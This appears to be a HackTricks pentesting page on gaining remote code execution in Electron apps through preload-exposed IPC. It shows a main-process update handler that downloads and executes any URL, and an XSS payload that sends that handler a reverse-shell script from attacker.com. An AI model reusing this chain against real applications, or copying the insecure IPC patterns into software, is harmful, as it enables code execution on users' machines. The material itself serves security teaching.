Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert) ! Other ways to support HackTricks:
If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS !
If the preload script exposes an IPC endpoint from the main.js file, the renderer process will be able to access it and if vulnerable, a RCE might be possible.
Copy // Part of code of main.js
ipcMain .on ( 'getUpdate' , (event , url) => {
console .log ( 'getUpdate: ' + url)
mainWindow . webContents .downloadURL (url)
mainWindow .download_url = url
});
mainWindow . webContents . session .on ( 'will-download' , (event , item , webContents) => {
console .log ( 'downloads path=' + app .getPath ( 'downloads' ))
console .log ( 'mainWindow.download_url=' + mainWindow .download_url);
url_parts = mainWindow . download_url .split ( '/' )
filename = url_parts[ url_parts . length - 1 ]
mainWindow .downloadPath = app .getPath ( 'downloads' ) + '/' + filename
console .log ( 'downloadPath=' + mainWindow .downloadPath)
// Set the save path, making Electron not to prompt a save dialog.
item .setSavePath ( mainWindow .downloadPath)
item .on ( 'updated' , (event , state) => {
if (state === 'interrupted' ) {
console .log ( 'Download is interrupted but can be resumed' )
}
else if (state === 'progressing' ) {
if ( item .isPaused ()) console .log ( 'Download is paused' )
else console .log ( `Received bytes: ${ item .getReceivedBytes () } ` )
}
})
item .once ( 'done' , (event , state) => {
if (state === 'completed' ) {
console .log ( 'Download successful, running update' )
fs .chmodSync ( mainWindow .downloadPath , 0755 );
var child = require ( 'child_process' ).execFile;
child ( mainWindow .downloadPath , function (err , data) {
if (err) { console .error (err); return ; }
console .log ( data .toString ());
});
}
else console .log ( `Download failed: ${ state } ` )
})
})
Copy // Part of code of preload.js
window . electronSend = (event , data) => {
ipcRenderer .send (event , data);
};
Copy < script >
electronSend ( "getUpdate" , "https://attacker.com/path/to/revshell.sh" );
</ script >
Copy // Part of preload.js code
window . electronOpenInBrowser = (url) => {
shell .openExternal (url);
};
Is the preload script exposes ways to completely communicate with the main process, an XSS will be able to send any event. The impact of this depends on what the main process exposes in terms of IPC.
Copy window . electronListen = (event , cb) => {
ipcRenderer .on (event , cb);
};
window . electronSend = (event , data) => {
ipcRenderer .send (event , data);
};
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert) ! Other ways to support HackTricks:
If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS !